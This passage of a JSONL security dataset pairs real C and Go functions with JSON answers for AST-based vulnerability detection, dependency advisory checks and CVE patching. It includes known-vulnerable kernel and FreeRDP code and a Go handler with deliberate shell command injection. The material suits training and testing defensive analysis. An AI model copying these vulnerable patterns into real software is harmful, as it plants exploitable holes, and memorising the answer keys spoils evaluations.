\"iocb\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 22\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 34,\n \"col\": 26\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 34,\n \"col\": 27\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 34,\n \"col\": 29\n },\n {\n \"token\": \"iocb\",\n \"ast_node\": \"identifier\",\n \"line\": 35,\n \"col\": 3\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 35,\n \"col\": 7\n },\n {\n \"token\": \"private\",\n \"ast_node\": \"field_identifier\",\n \"line\": 35,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 35,\n \"col\": 17\n },\n {\n \"token\": \"ext4_init_io_end\",\n \"ast_node\": \"identifier\",\n \"line\": 35,\n \"col\": 19\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 35,\n \"col\": 35\n },\n {\n \"token\": \"inode\",\n \"ast_node\": \"identifier\",\n \"line\": 35,\n \"col\": 36\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 35,\n \"col\": 41\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 35,\n \"col\": 42\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 36,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 36,\n \"col\": 7\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 36,\n \"col\": 8\n },\n {\n \"token\": \"iocb\",\n \"ast_node\": \"identifier\",\n \"line\": 36,\n \"col\": 9\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 36,\n \"col\": 13\n },\n {\n \"token\": \"private\",\n \"ast_node\": \"field_identifier\",\n \"line\": 36,\n \"col\": 15\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 36,\n \"col\": 22\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 37,\n \"col\": 5\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 37,\n \"col\": 12\n },\n {\n \"token\": \"ENOMEM\",\n \"ast_node\": \"identifier\",\n \"line\": 37,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 37,\n \"col\": 19\n },\n {\n \"token\": \"/*\\n\\t\\t\\t * we save the io structure for current async\\n\\t\\t\\t * direct IO, so that later ext4_get_blocks()\\n\\t\\t\\t * could flag the io structure whether there\\n\\t\\t\\t * is a unwritten extents needs to be converted\\n\\t\\t\\t * when IO is completed.\\n\\t\\t\\t */\",\n \"ast_node\": \"comment\",\n \"line\": 38,\n \"col\": 4\n },\n {\n \"token\": \"EXT4_I\",\n \"ast_node\": \"identifier\",\n \"line\": 45,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 45,\n \"col\": 9\n },\n {\n \"token\": \"inode\",\n \"ast_node\": \"identifier\",\n \"line\": 45,\n \"col\": 10\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 45,\n \"col\": 15\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 45,\n \"col\": 16\n },\n {\n \"token\": \"cur_aio_dio\",\n \"ast_node\": \"field_identifier\",\n \"line\": 45,\n \"col\": 18\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 45,\n \"col\": 30\n },\n {\n \"token\": \"iocb\",\n \"ast_node\": \"identifier\",\n \"line\": 45,\n \"col\": 32\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 45,\n \"col\": 36\n },\n {\n \"token\": \"private\",\n \"ast_node\": \"field_identifier\",\n \"line\": 45,\n \"col\": 38\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 45,\n \"col\": 45\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 46,\n \"col\": 2\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int shmem_unlink(struct inode *dir, struct dentry *dentry)\n{\n\tstruct inode *inode = dentry->d_inode;\n\n\tif (inode->i_nlink > 1 && !S_ISDIR(inode->i_mode)) {\n\t\tstruct shmem_sb_info *sbinfo = SHMEM_SB(inode->i_sb);\n\t\tif (sbinfo->max_inodes) {\n\t\t\tspin_lock(&sbinfo->stat_lock);\n\t\t\tsbinfo->free_inodes++;\n\t\t\tspin_unlock(&sbinfo->stat_lock);\n\t\t}\n\t}\n\n\tdir->i_size -= BOGO_DIRENT_SIZE;\n\tinode->i_ctime = dir->i_ctime = dir->i_mtime = CURRENT_TIME;\n\tdrop_nlink(inode);\n\tdput(dentry);\t/* Undo the count from \"create\" - this does all the work */\n\treturn 0;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-1336", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: swagger-typescript-api\nInstalled version: <13.12.2\nSummary: swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-38c3-wv3c-v3xj\",\n \"cve\": \"CVE-2026-54661\",\n \"aliases\": [\n \"CVE-2026-54661\"\n ],\n \"cwe\": \"CWE-1336\",\n \"ecosystem\": \"npm\",\n \"package\": \"swagger-typescript-api\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <13.12.2\",\n \"fixed_version\": \"13.12.2\",\n \"finding\": \"swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template\",\n \"remediation\": \"Upgrade swagger-typescript-api to 13.12.2 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:14\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: 7.0.12-1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:14\",\n \"package\": \"linux\",\n \"installed_version\": \"7.0.12-1\",\n \"note\": \"linux 7.0.12-1 is at or above the fixed version for DEBIAN-CVE-2026-64110; no known advisory applies to this version.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": null, "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (a known CWE). Produce the patched version and explain the fix. Output JSON.", "input": "static int unix_dgram_connect(struct socket *sock, struct sockaddr *addr,\n\t\t\t int alen, int flags)\n{\n\tstruct sock *sk = sock->sk;\n\tstruct net *net = sock_net(sk);\n\tstruct sockaddr_un *sunaddr = (struct sockaddr_un *)addr;\n\tstruct sock *other;\n\tunsigned int hash;\n\tint err;\n\n\tif (addr->sa_family != AF_UNSPEC) {\n\t\terr = unix_mkname(sunaddr, alen, &hash);\n\t\tif (err < 0)\n\t\t\tgoto out;\n\t\talen = err;\n\n\t\tif (test_bit(SOCK_PASSCRED, &sock->flags) &&\n\t\t !unix_sk(sk)->addr && (err = unix_autobind(sock)) != 0)\n\t\t\tgoto out;\n\nrestart:\n\t\tother = unix_find_other(net, sunaddr, alen, sock->type, hash, &err);\n\t\tif (!other)\n\t\t\tgoto out;\n\n\t\tunix_state_double_lock(sk, other);\n\n\t\t/* Apparently VFS overslept socket death. Retry. */\n\t\tif (sock_flag(other, SOCK_DEAD)) {\n\t\t\tunix_state_double_unlock(sk, other);\n\t\t\tsock_put(other);\n\t\t\tgoto restart;\n\t\t}\n\n\t\terr = -EPERM;\n\t\tif (!unix_may_send(sk, other))\n\t\t\tgoto out_unlock;\n\n\t\terr = security_unix_may_send(sk->sk_socket, other->sk_socket);\n\t\tif (err)\n\t\t\tgoto out_unlock;\n\n\t} else {\n\t\t/*\n\t\t *\t1003.1g breaking connected state with AF_UNSPEC\n\t\t */\n\t\tother = NULL;\n\t\tunix_state_double_lock(sk, other);\n\t}\n\n\t/*\n\t * If it was connected, reconnect.\n\t */\n \tif (unix_peer(sk)) {\n \t\tstruct sock *old_peer = unix_peer(sk);\n \t\tunix_peer(sk) = other;\n \t\tunix_state_double_unlock(sk, other);\n \n \t\tif (other != old_peer)\n\t\t\tunix_dgram_disconnected(sk, old_peer);\n\t\tsock_put(old_peer);\n\t} else {\n\t\tunix_peer(sk) = other;\n\t\tunix_state_double_unlock(sk, other);\n\t}\n\treturn 0;\n\nout_unlock:\n\tunix_state_double_unlock(sk, other);\n\tsock_put(other);\nout:\n\treturn err;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"cve\": \"CVE-2013-7446\",\n \"fixed_code\": \"static int unix_dgram_connect(struct socket *sock, struct sockaddr *addr,\\n\\t\\t\\t int alen, int flags)\\n{\\n\\tstruct sock *sk = sock->sk;\\n\\tstruct net *net = sock_net(sk);\\n\\tstruct sockaddr_un *sunaddr = (struct sockaddr_un *)addr;\\n\\tstruct sock *other;\\n\\tunsigned int hash;\\n\\tint err;\\n\\n\\tif (addr->sa_family != AF_UNSPEC) {\\n\\t\\terr = unix_mkname(sunaddr, alen, &hash);\\n\\t\\tif (err < 0)\\n\\t\\t\\tgoto out;\\n\\t\\talen = err;\\n\\n\\t\\tif (test_bit(SOCK_PASSCRED, &sock->flags) &&\\n\\t\\t !unix_sk(sk)->addr && (err = unix_autobind(sock)) != 0)\\n\\t\\t\\tgoto out;\\n\\nrestart:\\n\\t\\tother = unix_find_other(net, sunaddr, alen, sock->type, hash, &err);\\n\\t\\tif (!other)\\n\\t\\t\\tgoto out;\\n\\n\\t\\tunix_state_double_lock(sk, other);\\n\\n\\t\\t/* Apparently VFS overslept socket death. Retry. */\\n\\t\\tif (sock_flag(other, SOCK_DEAD)) {\\n\\t\\t\\tunix_state_double_unlock(sk, other);\\n\\t\\t\\tsock_put(other);\\n\\t\\t\\tgoto restart;\\n\\t\\t}\\n\\n\\t\\terr = -EPERM;\\n\\t\\tif (!unix_may_send(sk, other))\\n\\t\\t\\tgoto out_unlock;\\n\\n\\t\\terr = security_unix_may_send(sk->sk_socket, other->sk_socket);\\n\\t\\tif (err)\\n\\t\\t\\tgoto out_unlock;\\n\\n\\t} else {\\n\\t\\t/*\\n\\t\\t *\\t1003.1g breaking connected state with AF_UNSPEC\\n\\t\\t */\\n\\t\\tother = NULL;\\n\\t\\tunix_state_double_lock(sk, other);\\n\\t}\\n\\n\\t/*\\n\\t * If it was connected, reconnect.\\n\\t */\\n \\tif (unix_peer(sk)) {\\n \\t\\tstruct sock *old_peer = unix_peer(sk);\\n \\t\\tunix_peer(sk) = other;\\n\\t\\tunix_dgram_peer_wake_disconnect_wakeup(sk, old_peer);\\n\\n \\t\\tunix_state_double_unlock(sk, other);\\n \\n \\t\\tif (other != old_peer)\\n\\t\\t\\tunix_dgram_disconnected(sk, old_peer);\\n\\t\\tsock_put(old_peer);\\n\\t} else {\\n\\t\\tunix_peer(sk) = other;\\n\\t\\tunix_state_double_unlock(sk, other);\\n\\t}\\n\\treturn 0;\\n\\nout_unlock:\\n\\tunix_state_double_unlock(sk, other);\\n\\tsock_put(other);\\nout:\\n\\treturn err;\\n}\\n\",\n \"change_summary\": \"unix: avoid use-after-free in ep_remove_wait_queue\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-843", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/opencontainers/distribution-spec\nInstalled version: <1.0.1\nSummary: Clarify Content-Type handling", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-mc8v-mgrf-8f4m\",\n \"cve\": \"CVE-2021-41190\",\n \"aliases\": [\n \"CVE-2021-41190\"\n ],\n \"cwe\": \"CWE-843\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/opencontainers/distribution-spec\",\n \"severity\": \"low\",\n \"affected_versions\": \">=0, <1.0.1\",\n \"fixed_version\": \"1.0.1\",\n \"finding\": \"Clarify Content-Type handling\",\n \"remediation\": \"Upgrade github.com/opencontainers/distribution-spec to 1.0.1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "size_t mptsas_config_manufacturing_3(MPTSASState *s, uint8_t **data, int address)\n{\n PCIDeviceClass *pcic = PCI_DEVICE_GET_CLASS(s);\n return MPTSAS_CONFIG_PACK(3, MPI_CONFIG_PAGETYPE_MANUFACTURING, 0x00,\n \"wb*b*l\",\n pcic->device_id, pcic->revision);\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"qemu\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-770", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "WORD32 ihevcd_create(iv_obj_t *ps_codec_obj,\n\n void *pv_api_ip,\n void *pv_api_op)\n {\n ihevcd_cxa_create_op_t *ps_create_op;\n \n WORD32 ret;\n codec_t *ps_codec;\n ps_create_op = (ihevcd_cxa_create_op_t *)pv_api_op;\n \n ps_create_op->s_ivd_create_op_t.u4_error_code = 0;\n ret = ihevcd_allocate_static_bufs(&ps_codec_obj, pv_api_ip, pv_api_op);\n \n /* If allocation of some buffer fails, then free buffers allocated till then */\n if((IV_FAIL == ret) && (NULL != ps_codec_obj))\n {\n ihevcd_free_static_bufs(ps_codec_obj);\n ps_create_op->s_ivd_create_op_t.u4_error_code = IVD_MEM_ALLOC_FAILED;\n ps_create_op->s_ivd_create_op_t.u4_error_code = 1 << IVD_FATALERROR;\n \n return IV_FAIL;\n }\n ps_codec = (codec_t *)ps_codec_obj->pv_codec_handle;\n ret = ihevcd_init(ps_codec);\n\n TRACE_INIT(NULL);\n STATS_INIT();\n\n return ret;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-770\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-13190\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 16,\n 18\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"WORD32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"ihevcd_create\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 20\n },\n {\n \"token\": \"iv_obj_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 21\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \"ps_codec_obj\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 33\n },\n {\n \"token\": \"pv_api_ip\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 34\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 43\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 4,\n \"col\": 28\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 33\n },\n {\n \"token\": \"pv_api_op\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 34\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 43\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"ihevcd_cxa_create_op_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 6,\n \"col\": 28\n },\n {\n \"token\": \"ps_create_op\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 29\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 41\n },\n {\n \"token\": \"WORD32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 12\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 15\n },\n {\n \"token\": \"codec_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 9,\n \"col\": 13\n },\n {\n \"token\": \"ps_codec\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 22\n },\n {\n \"token\": \"ps_create_op\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 10,\n \"col\": 18\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 20\n },\n {\n \"token\": \"ihevcd_cxa_create_op_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 10,\n \"col\": 21\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 10,\n \"col\": 44\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 45\n },\n {\n \"token\": \"pv_api_op\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 46\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 55\n },\n {\n \"token\": \"ps_create_op\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 5\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 12,\n \"col\": 17\n },\n {\n \"token\": \"s_ivd_create_op_t\",\n \"ast_node\": \"field_identifier\",\n \"line\": 12,\n \"col\": 19\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 12,\n \"col\": 36\n },\n {\n \"token\": \"u4_error_code\",\n \"ast_node\": \"field_identifier\",\n \"line\": 12,\n \"col\": 37\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 12,\n \"col\": 51\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 12,\n \"col\": 53\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 12,\n \"col\": 54\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 13,\n \"col\": 9\n },\n {\n \"token\": \"ihevcd_allocate_static_bufs\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 38\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 13,\n \"col\": 39\n },\n {\n \"token\": \"ps_codec_obj\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 40\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 13,\n \"col\": 52\n },\n {\n \"token\": \"pv_api_ip\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 54\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 13,\n \"col\": 63\n },\n {\n \"token\": \"pv_api_op\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 65\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 13,\n \"col\": 74\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 75\n },\n {\n \"token\": \"/* If allocation of some buffer fails, then free buffers allocated till then */\",\n \"ast_node\": \"comment\",\n \"line\": 15,\n \"col\": 5\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 16,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 16,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 16,\n \"col\": 7\n },\n {\n \"token\": \"IV_FAIL\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 8\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void __blk_mq_tag_idle(struct blk_mq_hw_ctx *hctx)\n{\n\tstruct blk_mq_tags *tags = hctx->tags;\n\n\tif (!test_and_clear_bit(BLK_MQ_S_TAG_ACTIVE, &hctx->state))\n\t\treturn;\n\n\tatomic_dec(&tags->active_queues);\n\n\tblk_mq_tag_wakeup_all(tags, false);\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-190). Produce the patched version and explain the fix. Output JSON.", "input": "static BOOL gdi_Bitmap_Decompress(rdpContext* context, rdpBitmap* bitmap,\n const BYTE* pSrcData, UINT32 DstWidth, UINT32 DstHeight,\n UINT32 bpp, UINT32 length, BOOL compressed,\n UINT32 codecId)\n {\n \tUINT32 SrcSize = length;\n \trdpGdi* gdi = context->gdi;\n \tbitmap->compressed = FALSE;\n \tbitmap->format = gdi->dstFormat;\n\tbitmap->length = DstWidth * DstHeight * GetBytesPerPixel(bitmap->format);\n \tbitmap->data = (BYTE*) _aligned_malloc(bitmap->length, 16);\n \n \tif (!bitmap->data)\n\t\treturn FALSE;\n\n\tif (compressed)\n\t{\n\t\tif (bpp < 32)\n\t\t{\n\t\t\tif (!interleaved_decompress(context->codecs->interleaved,\n\t\t\t pSrcData, SrcSize,\n\t\t\t DstWidth, DstHeight,\n\t\t\t bpp,\n\t\t\t bitmap->data, bitmap->format,\n\t\t\t 0, 0, 0, DstWidth, DstHeight,\n\t\t\t &gdi->palette))\n\t\t\t\treturn FALSE;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (!planar_decompress(context->codecs->planar, pSrcData, SrcSize,\n\t\t\t DstWidth, DstHeight,\n\t\t\t bitmap->data, bitmap->format, 0, 0, 0,\n\t\t\t DstWidth, DstHeight, TRUE))\n\t\t\t\treturn FALSE;\n\t\t}\n\t}\n\telse\n\t{\n\t\tconst UINT32 SrcFormat = gdi_get_pixel_format(bpp);\n\t\tconst size_t sbpp = GetBytesPerPixel(SrcFormat);\n\t\tconst size_t dbpp = GetBytesPerPixel(bitmap->format);\n\n\t\tif ((sbpp == 0) || (dbpp == 0))\n\t\t\treturn FALSE;\n\t\telse\n\t\t{\n\t\t\tconst size_t dstSize = SrcSize * dbpp / sbpp;\n\n\t\t\tif (dstSize < bitmap->length)\n\t\t\t\treturn FALSE;\n\t\t}\n\n\t\tif (!freerdp_image_copy(bitmap->data, bitmap->format, 0, 0, 0,\n\t\t DstWidth, DstHeight, pSrcData, SrcFormat,\n\t\t 0, 0, 0, &gdi->palette, FREERDP_FLIP_VERTICAL))\n\t\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"cve\": \"CVE-2018-8787\",\n \"fixed_code\": \"static BOOL gdi_Bitmap_Decompress(rdpContext* context, rdpBitmap* bitmap,\\n const BYTE* pSrcData, UINT32 DstWidth, UINT32 DstHeight,\\n UINT32 bpp, UINT32 length, BOOL compressed,\\n UINT32 codecId)\\n {\\n \\tUINT32 SrcSize = length;\\n \\trdpGdi* gdi = context->gdi;\\n\\tUINT32 size = DstWidth * DstHeight;\\n \\tbitmap->compressed = FALSE;\\n \\tbitmap->format = gdi->dstFormat;\\n\\n\\tif ((GetBytesPerPixel(bitmap->format) == 0) ||\\n\\t (DstWidth == 0) || (DstHeight == 0) || (DstWidth > UINT32_MAX / DstHeight) ||\\n\\t (size > (UINT32_MAX / GetBytesPerPixel(bitmap->format))))\\n\\t\\treturn FALSE;\\n\\n\\tsize *= GetBytesPerPixel(bitmap->format);\\n\\tbitmap->length = size;\\n \\tbitmap->data = (BYTE*) _aligned_malloc(bitmap->length, 16);\\n \\n \\tif (!bitmap->data)\\n\\t\\treturn FALSE;\\n\\n\\tif (compressed)\\n\\t{\\n\\t\\tif (bpp < 32)\\n\\t\\t{\\n\\t\\t\\tif (!interleaved_decompress(context->codecs->interleaved,\\n\\t\\t\\t pSrcData, SrcSize,\\n\\t\\t\\t DstWidth, DstHeight,\\n\\t\\t\\t bpp,\\n\\t\\t\\t bitmap->data, bitmap->format,\\n\\t\\t\\t 0, 0, 0, DstWidth, DstHeight,\\n\\t\\t\\t &gdi->palette))\\n\\t\\t\\t\\treturn FALSE;\\n\\t\\t}\\n\\t\\telse\\n\\t\\t{\\n\\t\\t\\tif (!planar_decompress(context->codecs->planar, pSrcData, SrcSize,\\n\\t\\t\\t DstWidth, DstHeight,\\n\\t\\t\\t bitmap->data, bitmap->format, 0, 0, 0,\\n\\t\\t\\t DstWidth, DstHeight, TRUE))\\n\\t\\t\\t\\treturn FALSE;\\n\\t\\t}\\n\\t}\\n\\telse\\n\\t{\\n\\t\\tconst UINT32 SrcFormat = gdi_get_pixel_format(bpp);\\n\\t\\tconst size_t sbpp = GetBytesPerPixel(SrcFormat);\\n\\t\\tconst size_t dbpp = GetBytesPerPixel(bitmap->format);\\n\\n\\t\\tif ((sbpp == 0) || (dbpp == 0))\\n\\t\\t\\treturn FALSE;\\n\\t\\telse\\n\\t\\t{\\n\\t\\t\\tconst size_t dstSize = SrcSize * dbpp / sbpp;\\n\\n\\t\\t\\tif (dstSize < bitmap->length)\\n\\t\\t\\t\\treturn FALSE;\\n\\t\\t}\\n\\n\\t\\tif (!freerdp_image_copy(bitmap->data, bitmap->format, 0, 0, 0,\\n\\t\\t DstWidth, DstHeight, pSrcData, SrcFormat,\\n\\t\\t 0, 0, 0, &gdi->palette, FREERDP_FLIP_VERTICAL))\\n\\t\\t\\treturn FALSE;\\n\\t}\\n\\n\\treturn TRUE;\\n}\\n\",\n \"change_summary\": \"Fixed CVE-2018-8787\"\n}"} {"task": "ast_vuln_detection", "language": "go", "cwe": "CWE-78", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following go code. Detect the security vulnerability, locate the vulnerable tokens and their AST nodes, and output a structured finding.", "input": "func ping(w http.ResponseWriter, r *http.Request) {\n\tdata := r.URL.Query().Get(\"id\")\n\tout, _ := exec.Command(\"sh\", \"-c\", \"ping -c 1 \"+data).Output()\n\tw.Write(out)\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-78\",\n \"cwe_name\": \"OS Command Injection\",\n \"title\": \"Command injection via exec.Command sh -c\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"source_file\",\n \"function_declaration\",\n \"block\",\n \"statement_list\",\n \"short_var_declaration\",\n \"expression_list\",\n \"call_expression\",\n \"selector_expression\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"exec\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": 